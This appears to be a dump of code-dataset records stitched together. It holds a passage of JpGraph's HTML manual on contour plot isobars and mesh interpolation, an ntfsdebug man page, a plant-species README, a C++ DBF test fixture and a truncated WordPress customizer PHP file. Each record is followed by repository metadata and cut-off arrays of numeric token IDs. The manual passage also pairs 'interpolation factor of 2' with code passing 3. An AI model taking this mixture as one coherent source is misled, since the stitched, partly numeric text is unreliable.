<p>and get the result of adding this line is shown in <a class="xref" href="ch15s06.html#fig.basic_contourex05" title="Figure 15.77. Flipping the data around the center line (basic_contourex05.php)">Figure 15.77. Flipping the data around the center line <code class="uri"><a class="uri" href="example_src/basic_contourex05.html" target="_top">(<code class="filename">basic_contourex05.php</code>)</a></code> </a></p>
<p>
</p><div class="informaltable">
<table border="0"><colgroup><col class="c1"><col class="c2"></colgroup><tbody><tr><td>
<div class="figure"><a name="fig.basic_contourex02"></a><p class="title"><b>Figure 15.76. Adding axis on all sides <code class="uri"><a class="uri" href="example_src/basic_contourex02.html" target="_top">(<code class="filename">basic_contourex02.php</code>)</a></code> </b></p><div class="figure-contents"> <span class="inlinemediaobject"><img src="images/basic_contourex02.png" alt="Adding axis on all sides (basic_contourex02.php)"></span> </div></div><br class="figure-break">
</td><td>
<div class="figure"><a name="fig.basic_contourex05"></a><p class="title"><b>Figure 15.77. Flipping the data around the center line <code class="uri"><a class="uri" href="example_src/basic_contourex05.html" target="_top">(<code class="filename">basic_contourex05.php</code>)</a></code> </b></p><div class="figure-contents"> <span class="inlinemediaobject"><img src="images/basic_contourex05.png" alt="Flipping the data around the center line (basic_contourex05.php)"></span> </div></div><br class="figure-break">
</td></tr></tbody></table>
</div><p>
</p>
</div>
<div class="sect2" title="Adjusting the color and number of isobar lines"><div class="titlepage"><div><div><h3 class="title"><a name="id2562850"></a>Adjusting the color and number of isobar lines</h3></div></div></div>
<p>As mentioned above the library uses 10 isobar lines by default. The number of
isobar lines can be adjusted by specifying a second integer argument to the
constructor of the contour plot. For example to use only 5 isobar lines the
construction of the contour plot would be changed to</p>
<p>
</p><div class="hl-main"><table class="hl-table" width="100%"><tr><td class="hl-gutter" align="right" valign="top"><pre>1
</pre></td><td class="hl-main" valign="top"><pre><span class="hl-code">$contourplot = new ContourPlot($data,5);</span></pre></td></tr></table></div><p>
</p>
<p>The result of changing this in the previous example is shown in <a class="xref" href="ch15s06.html#fig.basic_contourex04" title="Figure 15.78. Using only 5 isobar lines (basic_contourex04.php)">Figure 15.78. Using only 5 isobar lines <code class="uri"><a class="uri" href="example_src/basic_contourex04.html" target="_top">(<code class="filename">basic_contourex04.php</code>)</a></code> </a></p>
<p>
</p><div class="figure"><a name="fig.basic_contourex04"></a><p class="title"><b>Figure 15.78. Using only 5 isobar lines <code class="uri"><a class="uri" href="example_src/basic_contourex04.html" target="_top">(<code class="filename">basic_contourex04.php</code>)</a></code> </b></p><div class="figure-contents"> <span class="inlinemediaobject"><img src="images/basic_contourex04.png" alt="Using only 5 isobar lines (basic_contourex04.php)"></span> </div></div><p><br class="figure-break">
</p>
<p>The values for the isobars are determined by finding the lowest and highest
point in the input data matrix and then spreading the isobars evenly between
these extreme points. </p>
<p>In some applications however it is necessary to have better control over where
exactly the isobars are placed and for this reason it is possible to tell the
library exactly at what values the isobars should be. </p>
<p>This is done by providing an array with the values of the isobars instead of a
single number in the creation of the contour plot as the following example
shows</p>
<p>
</p><div class="hl-main"><table class="hl-table" width="100%"><tr><td class="hl-gutter" align="right" valign="top"><pre>1
2
3
4
</pre></td><td class="hl-main" valign="top"><pre><span class="hl-inlinetags"><?php</span><span class="hl-code">
</span><span class="hl-var">$isoBars</span><span class="hl-code"> = </span><span class="hl-reserved">array</span><span class="hl-brackets">(</span><span class="hl-code"> </span><span class="hl-number">0</span><span class="hl-number">.1</span><span class="hl-code">, </span><span class="hl-number">0</span><span class="hl-number">.2</span><span class="hl-code">, </span><span class="hl-number">0</span><span class="hl-number">.3</span><span class="hl-code">, </span><span class="hl-number">0</span><span class="hl-number">.4</span><span class="hl-code">, </span><span class="hl-number">0</span><span class="hl-number">.5</span><span class="hl-code">, </span><span class="hl-number">0</span><span class="hl-number">.6</span><span class="hl-code"> </span><span class="hl-brackets">)</span><span class="hl-code">
</span><span class="hl-var">$cp</span><span class="hl-code"> = </span><span class="hl-reserved">new</span><span class="hl-code"> </span><span class="hl-identifier">ContourPlot</span><span class="hl-brackets">(</span><span class="hl-var">$data</span><span class="hl-code">, </span><span class="hl-var">$isoBars</span><span class="hl-brackets">)</span><span class="hl-code">;
</span><span class="hl-inlinetags">?></span></pre></td></tr></table></div><p>
</p>
<p>The isobar colors can be adjusted by specifying a color array that specifies
the color for each isobar.</p>
<p>However, there is some simpler changes that ca be made to change the colors
without having to go through the "trouble" of såspecifying a color array. </p>
<p>There are usually two reasons for changing the default color spectra. </p>
<p>
</p><div class="orderedlist"><ol class="orderedlist" type="1"><li class="listitem">
<p>to use more high contrast colors</p>
</li><li class="listitem">
<p>to use only black and white colors</p>
</li></ol></div><p>
</p>
<p>This can be accomplished with a call to the method </p>
<p>
</p><div class="itemizedlist"><ul class="itemizedlist" type="disc"><li class="listitem">
<p><code class="code">ContourPlot::UseHighContrastColor($aFlg=true,$aBW=false)
</code></p>
</li></ul></div><p>
</p>
<p>as the following example shows</p>
<p>
</p><div class="hl-main"><table class="hl-table" width="100%"><tr><td class="hl-gutter" align="right" valign="top"><pre>1
2
</pre></td><td class="hl-main" valign="top"><pre><span class="hl-code">$cp = new ContourPlot( $data );
$cp->UseHighContrastColor( true );</span></pre></td></tr></table></div><p>
</p>
<p>The above example will only use a blue to red color scale and avoid the
"low-contrast" greenish middle color spectrum colors.</p>
<p>By also setting the second argument to the high contrast method to true the
colors are restricted to only black and white. This will of course make it
impossible to exactly know the value each isobar represents but could be useful
for gaining some insight in the topography of a graph and would allow better
printing on black and white devices.</p>
<p>Specifying manual colors of the isobar can be done in two ways. </p>
<p>
</p><div class="orderedlist"><ol class="orderedlist" type="1"><li class="listitem">
<p>By specifying the color array as the fifth argument to the
constructor of ContourPlot as shown in <a class="xref" href="ch15s06.html#sec.creating-contour-graph" title="Creating a contour graph">Creating a contour graph</a></p>
</li><li class="listitem">
<p>By using the method
<code class="code">ContourPlot::SetIsobarColors($aColors)</code></p>
</li></ol></div><p>
</p>
<p>
</p><div class="caution" title="Caution" style="margin-left: 0.5in; margin-right: 0.5in;"><h3 class="title">Caution</h3>
<p>The number of colors specified must match the number of
isobars.</p>
</div><p>
</p>
</div>
<div class="sect2" title="Understanding mesh interpolation"><div class="titlepage"><div><div><h3 class="title"><a name="sec.grid-interpolating"></a>Understanding mesh interpolation</h3></div></div></div>
<p>As mentioned above it is possible to use mesh interpolation to generate
smoother contour graphs. In order to better understand the effect of specifying
different interpolation factors we will show how what effect this have.</p>
<p>The data we will be using is given by the following data matrix</p>
<p>
</p><div class="hl-main"><table class="hl-table" width="100%"><tr><td class="hl-gutter" align="right" valign="top"><pre>1
2
3
4
5
6
</pre></td><td class="hl-main" valign="top"><pre><span class="hl-code">$data = array(
array ( 12,7,3,15 ),
array ( 18,5,1, 9 ),
array ( 13,9,5,12),
array ( 5,3,8, 9 ),
array ( 1,8,5, 7 ));</span></pre></td></tr></table></div><p>
</p>
<p>A basic contour graph using the above data is shown in <a class="xref" href="ch15s06.html#fig.basic_contourex03-1" title="Figure 15.79. Interpolation factor=1 (basic_contourex03-1.php)">Figure 15.79. Interpolation factor=1 <code class="uri"><a class="uri" href="example_src/basic_contourex03-1.html" target="_top">(<code class="filename">basic_contourex03-1.php</code>)</a></code> </a></p>
<p>
</p><div class="figure"><a name="fig.basic_contourex03-1"></a><p class="title"><b>Figure 15.79. Interpolation factor=1 <code class="uri"><a class="uri" href="example_src/basic_contourex03-1.html" target="_top">(<code class="filename">basic_contourex03-1.php</code>)</a></code> </b></p><div class="figure-contents"> <span class="inlinemediaobject"><img src="images/basic_contourex03-1.png" alt="Interpolation factor=1 (basic_contourex03-1.php)"></span> </div></div><p><br class="figure-break">
</p>
<p>In order to specify a grid interpolation factor we need to specify this as the
third argument in the constructor for the contour plot. So in order to specify a
interpolation factor of 2 we would add the line</p>
<p>
</p><div class="hl-main"><table class="hl-table" width="100%"><tr><td class="hl-gutter" align="right" valign="top"><pre>1
</pre></td><td class="hl-main" valign="top"><pre><span class="hl-code">$contourplot = new ContourPlot($data,10,3);</span></pre></td></tr></table></div><p>
</p>
<p>To see the difference between different interpolation factor <a class="xref" href="ch15s06.html#fig.basic_contourex03-2" title="Figure 15.80. Interpolation factor=2 (basic_contourex03-2.php)">Figure 15.80. Interpolation factor=2 <code class="uri"><a class="uri" href="example_src/basic_contourex03-2.html" target="_top">(<code class="filename">basic_contourex03-2.php</code>)</a></code> </a> and <a class="xref" href="ch15s06.html#fig.basic_contourex03-3" title="Figure 15.81. Interpolation factor=3 (basic_contourex03-3.php)">Figure 15.81. Interpolation factor=3 <code class="uri"><a class="uri" href="example_src/basic_contourex03-3.html" target="_top">(<code class="filename">basic_contourex03-3.php</code>)</a></code> </a> shows the effect of using both a
grid interpolation factor of 2 and 3 on the example in <a class="xref" href="ch15s06.html#fig.basic_contourex03-1" title="Figure 15.79. Interpolation factor=1 (basic_contourex03-1.php)">Figure 15.79. Interpolation factor=1 <code class="uri"><a class="uri" href="example_src/basic_contourex03-1.html" target="_top">(<code class="filename">basic_contourex03-1.php</code>)</a></code> </a></p>
<p>
</p><div class="informaltable">
<table border="0"><colgroup><col class="c1"><col class="c2"></colgroup><tbody><tr><td>
<div class="figure"><a name="fig.basic_contourex03-2"></a><p class="title"><b>Figure 15.80. Interpolation factor=2 <code class="uri"><a class="uri" href="example_src/basic_contourex03-2.html" target="_top">(<code class="filename">basic_contourex03-2.php</code>)</a></code> </b></p><div class="figure-contents"> <span class="inlinemediaobject"><img src="images/basic_contourex03-2.png" alt="Interpolation factor=2 (basic_contourex03-2.php)"></span> </div></div><br class="figure-break">
</td><td>
<div class="figure"><a name="fig.basic_contourex03-3"></a><p class="title"><b>Figure 15.81. Interpolation factor=3 <code class="uri"><a class="uri" href="example_src/basic_contourex03-3.html" target="_top">(<code class="filename">basic_contourex03-3.php</code>)</a></code> </b></p><div class="figure-contents"> <span class="inlinemediaobject"><img src="images/basic_contourex03-3.png" alt="Interpolation factor=3 (basic_contourex03-3.php)"></span> </div></div><br class="figure-break">
</td></tr></tbody></table>
</div><p>
</p>
<p>We can now make two observations based on the above two figures</p>
<p>
</p><div class="orderedlist"><ol class="orderedlist" type="1"><li class="listitem">
<p>The lines get smoother the higher interpolation factor we
use</p>
</li><li class="listitem">
<p>The automatic scale has changed. This is not surprising since we
have in effect increase the number of data points each time we
increase the interpolation factor. The scale corresponds to the
matrix size (an entry in matrix at position (r,c) corresponds to the
point (x=c,y=r) in the graph.)</p>
<p>Initially we had a data matrix of size 5x4=20 data points, after
doing one interpolation (factor=2) the data matrix will have a size
of 9x7=63 data points and after doing one more interpolation
(factor=3) the data matrix will have a size of 17x13=221 data
points. </p>
<p>If we would have done one more interpolation we would have a data
matrix of size 33x25=825 data points.</p>
<p>The exponential growth of the total number of data point for a
10x10 matrix is shown in <a class="xref" href="ch15s06.html#fig.interpolation-growth" title="Figure 15.82. The exponential growth of the data size due to grid interpolation factor (interpolation-growth.php)">Figure 15.82. The exponential growth of the data size due to grid interpolation factor <code class="uri"><a class="uri" href="example_src/interpolation-growth.html" target="_top">(<code class="filename">interpolation-growth.php</code>)</a></code> </a>. This also makes a good
example of using a logarithmic y-scale. If the graph is a straight
line when plotted against a logarithmic scale this confirms our
suspicion that this is indeed a exponentially growing function.
<a class="xref" href="ch15s06.html#fig.interpolation-growth-log" title="Figure 15.83. The exponential growth of the data size due to the grid interpolation factor (log scale) (interpolation-growth-log.php)">Figure 15.83. The exponential growth of the data size due to the grid interpolation factor (log scale) <code class="uri"><a class="uri" href="example_src/interpolation-growth-log.html" target="_top">(<code class="filename">interpolation-growth-log.php</code>)</a></code> </a> shows a
variant with a logarithmic y-scale (which confirms our
suspicion.)</p>
</li></ol></div><p>
</p>
<div class="tip" title="Tip" style="margin-left: 0.5in; margin-right: 0.5in;"><h3 class="title">Tip</h3>
<p>The helper class to do the actual interpolation can also be used directly
in other context. In order to create a new interpolated data matrix with a
specific interpolation factor the following code snippet can be used.</p>
<p>
</p><div class="hl-main"><table class="hl-table" width="100%"><tr><td class="hl-gutter" align="right" valign="top"><pre>1
2
3
4
5
6
</pre></td><td class="hl-main" valign="top"><pre><span class="hl-inlinetags"><?php</span><span class="hl-code">
</span><span class="hl-var">$dataMatrix</span><span class="hl-code"> = </span><span class="hl-reserved">array</span><span class="hl-brackets">(</span><span class="hl-code"> ... </span><span class="hl-brackets">)</span><span class="hl-code">;
</span><span class="hl-var">$factor</span><span class="hl-code"> = ... ;
</span><span class="hl-var">$grid_interpolate</span><span class="hl-code"> = </span><span class="hl-reserved">new</span><span class="hl-code"> </span><span class="hl-identifier">Interpolate</span><span class="hl-brackets">(</span><span class="hl-brackets">)</span><span class="hl-code">;
</span><span class="hl-var">$dataMatrix</span><span class="hl-code"> = </span><span class="hl-var">$grid_interpolate</span><span class="hl-code">-></span><span class="hl-identifier">Linear</span><span class="hl-brackets">(</span><span class="hl-var">$dataMatrix</span><span class="hl-code">, </span><span class="hl-var">$factor</span><span class="hl-brackets">)</span><span class="hl-code">;
</span><span class="hl-inlinetags">?></span></pre></td></tr></table></div><p>
</p>
</div>
<p>
</p><div class="tip" title="Tip" style="margin-left: 0.5in; margin-right: 0.5in;"><h3 class="title">Tip</h3>
<p>There is also a utility function
<code class="code">doMeshInterpolate(&$aData,$aFactor)</code> that can be
sued to interpolate a matrix in place. This creates the necessary class,
interpolates its first argument and then fills the argument with the
interpolated data. By using call by reference some data copying is
avoided.</p>
</div><p>
</p>
<p>
</p><div class="informaltable">
<table border="0"><colgroup><col class="c1"><col class="c2"></colgroup><tbody><tr><td>
<div class="figure"><a name="fig.interpolation-growth"></a><p class="title"><b>Figure 15.82. The exponential growth of the data size due to grid interpolation factor <code class="uri"><a class="uri" href="example_src/interpolation-growth.html" target="_top">(<code class="filename">interpolation-growth.php</code>)</a></code> </b></p><div class="figure-contents"> <span class="inlinemediaobject"><img src="images/interpolation-growth.png" alt="The exponential growth of the data size due to grid interpolation factor (interpolation-growth.php)"></span> </div></div><br class="figure-break">
</td><td>
<div class="figure"><a name="fig.interpolation-growth-log"></a><p class="title"><b>Figure 15.83. The exponential growth of the data size due to the grid interpolation factor (log scale) <code class="uri"><a class="uri" href="example_src/interpolation-growth-log.html" target="_top">(<code class="filename">interpolation-growth-log.php</code>)</a></code> </b></p><div class="figure-contents"> <span class="inlinemediaobject"><img src="images/interpolation-growth-log.png" alt="The exponential growth of the data size due to the grid interpolation factor (log scale) (interpolation-growth-log.php)"></span> </div></div><br class="figure-break">
</td></tr></tbody></table>
</div><p>
</p>
</div>
</div><div class="navfooter"><hr><table width="100%" summary="Navigation footer"><tr><td width="40%" align="left"> </td><td width="20%" align="center"><a accesskey="u" href="ch15.html">Up</a></td><td width="40%" align="right"> </td></tr><tr><td width="40%" align="left" valign="top"> </td><td width="20%" align="center"><a accesskey="h" href="index.html">Home</a></td><td width="40%" align="right" valign="top"> </td></tr></table></div></body></html>
| daveseff/DS_Scheduler | web/jpgraph/docs/chunkhtml/ch15s06.html | HTML | gpl-2.0 | 51,194 | [
30522,
1026,
16129,
1028,
1026,
2132,
1028,
1026,
18804,
8299,
1011,
1041,
15549,
2615,
1027,
1000,
4180,
1011,
2828,
1000,
4180,
1027,
1000,
3793,
1013,
16129,
1025,
25869,
13462,
1027,
21183,
2546,
1011,
1022,
1000,
1028,
1026,
2516,
1028... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
<!-- Creator : groff version 1.21 -->
<!-- CreationDate: Mon Dec 7 09:14:09 2015 -->
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta name="generator" content="groff -Thtml, see www.gnu.org">
<meta http-equiv="Content-Type" content="text/html; charset=US-ASCII">
<meta name="Content-Style" content="text/css">
<style type="text/css">
p { margin-top: 0; margin-bottom: 0; vertical-align: top }
pre { margin-top: 0; margin-bottom: 0; vertical-align: top }
table { margin-top: 0; margin-bottom: 0; vertical-align: top }
h1 { text-align: center }
</style>
<title>NTFSDEBUG</title>
</head>
<body>
<h1 align="center">NTFSDEBUG</h1>
<a href="#NAME">NAME</a><br>
<a href="#SYNOPSIS">SYNOPSIS</a><br>
<a href="#DESCRIPTION">DESCRIPTION</a><br>
<a href="#EXIT CODES">EXIT CODES</a><br>
<a href="#EXAMPLES">EXAMPLES</a><br>
<a href="#KNOWN ISSUES">KNOWN ISSUES</a><br>
<a href="#AVAILABILITY">AVAILABILITY</a><br>
<hr>
<h2>NAME
<a name="NAME"></a>
</h2>
<p style="margin-left:11%; margin-top: 1em">ntfsdebug
− Efficiently dump the metadata contents of an NTFS
volume.</p>
<h2>SYNOPSIS
<a name="SYNOPSIS"></a>
</h2>
<p style="margin-left:11%; margin-top: 1em"><b>ntfsdebug</b>
<i>device|image</i></p>
<h2>DESCRIPTION
<a name="DESCRIPTION"></a>
</h2>
<p style="margin-left:11%; margin-top: 1em"><i><b>ntfsdebug</b></i>
will efficiently extract all relevant metadata from an NTFS
volume and dump it to standard output. It works at disk
sector level and copies only the used data. Unused disk
space becomes zero. <b>ntfsdebug</b> can be useful to exact
the metadata snapshot of an NTFS file system for developers
to investigate and troubleshoot users’ issues using
the clone without the risk of destroying the original file
system.</p>
<h2>EXIT CODES
<a name="EXIT CODES"></a>
</h2>
<p style="margin-left:11%; margin-top: 1em">The exit code
is 0 on success, non−zero otherwise.</p>
<h2>EXAMPLES
<a name="EXAMPLES"></a>
</h2>
<p style="margin-left:11%; margin-top: 1em">Dump NTFS
metadata on /dev/sda1 to a compressed metadata image:</p>
<p style="margin-left:22%; margin-top: 1em"><b>ntfsdebug
/dev/sda1 | bzip2 > sda1.img.bz2</b></p>
<p style="margin-left:11%; margin-top: 1em">Dump NTFS
metadata to a remote host, using ssh. Please note that ssh
may ask for a password.</p>
<p style="margin-left:22%; margin-top: 1em"><b>ntfsdebug
/dev/sda1 | bzip2 | ssh host ’cat >
sda1.img.bzip2’</b></p>
<h2>KNOWN ISSUES
<a name="KNOWN ISSUES"></a>
</h2>
<p style="margin-left:11%; margin-top: 1em">If you find a
problem then please send an email describing it to
ntfs-support@tuxera.com.</p>
<h2>AVAILABILITY
<a name="AVAILABILITY"></a>
</h2>
<p style="margin-left:11%; margin-top: 1em"><b>ntfsdebug</b>
is part of the <b>Tuxera NTFS</b> package.</p>
<hr>
</body>
</html>
| artemh/asuswrt-merlin | release/src/router/tuxera/broadcom_arm_7114/ntfs/docs/html/ntfsdebug.html | HTML | gpl-2.0 | 2,939 | [
30522,
1026,
999,
1011,
1011,
8543,
1024,
24665,
7245,
2544,
1015,
1012,
2538,
1011,
1011,
1028,
1026,
999,
1011,
1011,
4325,
13701,
1024,
12256,
11703,
1021,
5641,
1024,
2403,
1024,
5641,
2325,
1011,
1011,
1028,
1026,
999,
9986,
13874,
1... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
# Polystichum sieberianum C.Presl SPECIES
#### Status
ACCEPTED
#### According to
International Plant Names Index
#### Published in
null
#### Original name
null
### Remarks
null | mdoering/backbone | life/Plantae/Pteridophyta/Polypodiopsida/Polypodiales/Dryopteridaceae/Polystichum/Polystichum sieberianum/README.md | Markdown | apache-2.0 | 181 | [
30522,
1001,
26572,
10074,
28600,
9033,
22669,
2937,
2819,
1039,
1012,
3653,
14540,
2427,
1001,
1001,
1001,
1001,
3570,
3970,
1001,
1001,
1001,
1001,
2429,
2000,
2248,
3269,
3415,
5950,
1001,
1001,
1001,
1001,
2405,
1999,
19701,
1001,
1001,... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
//
// Created by Chris Richards on 28/04/2016.
//
#include <gtest/gtest.h>
#include <DbfTable.h>
class Dbase31TableFixture : public ::testing::Test {
protected:
virtual void SetUp() {
dbf_table_ = DbfTablePtr(new DbfTable("/Users/chrisr/Development/ClionProjects/dbf2csv/dbf_tests/fixtures/dbase_31.dbf"));
}
virtual void TearDown() {
dbf_table_->close();
}
public:
Dbase31TableFixture() : Test() {
}
virtual ~Dbase31TableFixture() {
}
DbfTablePtr dbf_table_;
};
TEST_F(Dbase31TableFixture, good_check) {
EXPECT_TRUE(dbf_table_->good());
}
TEST_F(Dbase31TableFixture, has_memo_check) {
EXPECT_FALSE(dbf_table_->has_memo_file());
}
| yellowfeather/dbf2csv | dbf_tests/dbase31_tests/Dbase31TableFixture.cpp | C++ | mit | 699 | [
30522,
1013,
1013,
1013,
1013,
2580,
2011,
3782,
9712,
2006,
2654,
1013,
5840,
1013,
2355,
1012,
1013,
1013,
1001,
2421,
1026,
14181,
4355,
1013,
14181,
4355,
1012,
1044,
1028,
1001,
2421,
1026,
16962,
6199,
3085,
1012,
1044,
1028,
2465,
... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
<?php
function seabadgermd_customize_register( $wp_customize ) {
/* Color theme selector */
$wp_customize->add_setting(
'seabadgermd_color_theme', array(
'default' => 'mdb_dark',
'sanitize_callback' => 'seabadgermd_sanitize_select',
)
);
$wp_customize->add_control(
'seabadgermd_color_theme', array(
'type' => 'select',
'priority' => 10,
'section' => 'colors',
'label' => esc_html__( 'Color theme', 'seabadgermd' ),
'description' => esc_html__( 'Defines tone of the theme', 'seabadgermd' ),
'choices' => seabadgermd_get_color_theme_names(),
)
);
$wp_customize->add_section(
'navbar', array(
'title' => esc_html__( 'Navigation bar', 'seabadgermd' ),
'priority' => 20,
)
);
/* Display/remove navigation bar */
$wp_customize->add_setting(
'seabadgermd_navbar_remove', array(
'default' => false,
'sanitize_callback' => 'seabadgermd_sanitize_checkbox',
)
);
$wp_customize->add_control(
'seabadgermd_navbar_remove', array(
'type' => 'checkbox',
'section' => 'navbar',
'label' => esc_html__( 'Hide navigation bar', 'seabadgermd' ),
'description' => esc_html__( 'Hide top navigation bar', 'seabadgermd' ),
)
);
/* Search form in navigation bar */
$wp_customize->add_setting(
'seabadgermd_navbar_search', array(
'default' => 'show',
'sanitize_callback' => 'seabadgermd_sanitize_showhide',
)
);
$wp_customize->add_control(
'seabadgermd_navbar_search', array(
'type' => 'radio',
'section' => 'navbar',
'label' => esc_html__( 'Search bar', 'seabadgermd' ),
'description' => esc_html__( 'Show search form in navigation bar', 'seabadgermd' ),
'choices' => array(
'show' => esc_html__( 'Show', 'seabadgermd' ),
'hide' => esc_html__( 'Hide', 'seabadgermd' ),
),
)
);
/* Navbar fix on top */
$wp_customize->add_setting(
'seabadgermd_navbar_fixing', array(
'default' => 'on',
'sanitize_callback' => 'seabadgermd_sanitize_onoff',
)
);
$wp_customize->add_control(
'seabadgermd_navbar_fixing', array(
'type' => 'radio',
'section' => 'navbar',
'label' => esc_html__( 'Navbar fixed on top', 'seabadgermd' ),
'description' => esc_html__( 'Fix the navigation bar on the top of the screen', 'seabadgermd' ),
'choices' => array(
'on' => esc_html__( 'Fixed', 'seabadgermd' ),
'off' => esc_html__( 'Scrolling', 'seabadgermd' ),
),
)
);
/* Hide/show navbar on scroll*/
$wp_customize->add_setting(
'seabadgermd_navbar_transparent', array(
'default' => true,
'sanitize_callback' => 'seabadgermd_sanitize_checkbox',
)
);
$wp_customize->add_control(
'seabadgermd_navbar_transparent', array(
'type' => 'checkbox',
'section' => 'navbar',
'label' => esc_html__( 'Transparent navbar', 'seabadgermd' ),
'description' => esc_html__( 'Hide/show the main navigation bar on scroll (when fixed)', 'seabadgermd' ),
)
);
/* Navbar brand */
$wp_customize->add_setting(
'seabadgermd_navbar_brand', array(
'default' => 'off',
'sanitize_callback' => 'seabadgermd_sanitize_select',
)
);
$wp_customize->add_control(
'seabadgermd_navbar_brand', array(
'type' => 'select',
'priority' => 10,
'section' => 'navbar',
'label' => esc_html__( 'Navbar brand', 'seabadgermd' ),
'description' => esc_html__( 'Display brand in navigation bar', 'seabadgermd' ),
'choices' => array(
'off' => esc_html__( 'Off', 'seabadgermd' ),
'title' => esc_html__( 'Blog name', 'seabadgermd' ),
'logo' => esc_html__( 'Site logo', 'seabadgermd' ),
'custom' => esc_html__( 'Custom text', 'seabadgermd' ),
'custom_logo' => esc_html__( 'Custom logo', 'seabadgermd' ),
),
)
);
/* Custom text in navbar brand */
$wp_customize->add_setting(
'seabadgermd_navbar_brand_text', array(
'default' => '',
'sanitize_callback' => 'sanitize_text_field',
)
);
$wp_customize->add_control(
'seabadgermd_navbar_brand_text', array(
'type' => 'text',
'priority' => 10,
'section' => 'navbar',
'label' => esc_html__( 'Brand custom text', 'seabadgermd' ),
'description' => esc_html__( 'Display this text if custom text is selected', 'seabadgermd' ),
)
);
/* Custom logo in navbar brand */
$wp_customize->add_setting(
'seabadgermd_navbar_brand_logo', array(
'default' => '',
'sanitize_callback' => 'absint',
)
);
$wp_customize->add_control( new WP_Customize_Cropped_Image_Control( $wp_customize,
'seabadgermd_navbar_brand_logo',
array(
'section' => 'navbar',
'label' => esc_html__( 'Brand custom logo', 'seabadgermd' ),
'description' => esc_html__( 'Custom logo to display, maximum height 30px', 'seabadgermd' ),
'height' => 30,
'width' => 60,
'flex-width' => true,
)
));
/* Breadcrumb section */
$wp_customize->add_section(
'seabadgermd_breadcrumb', array(
'title' => esc_html__( 'Breadcrumb', 'seabadgermd' ),
'priority' => 20,
)
);
$wp_customize->add_setting(
'seabadgermd_breadcrumb_show', array(
'default' => false,
'sanitize_callback' => 'seabadgermd_sanitize_checkbox',
)
);
$wp_customize->add_control(
'seabadgermd_breadcrumb_show', array(
'type' => 'checkbox',
'section' => 'seabadgermd_breadcrumb',
'label' => esc_html__( 'Display breadcrumb', 'seabadgermd' ),
)
);
$wp_customize->add_setting(
'seabadgermd_breadcrumb_home', array(
'default' => 'Homepage',
'sanitize_callback' => 'sanitize_text_field',
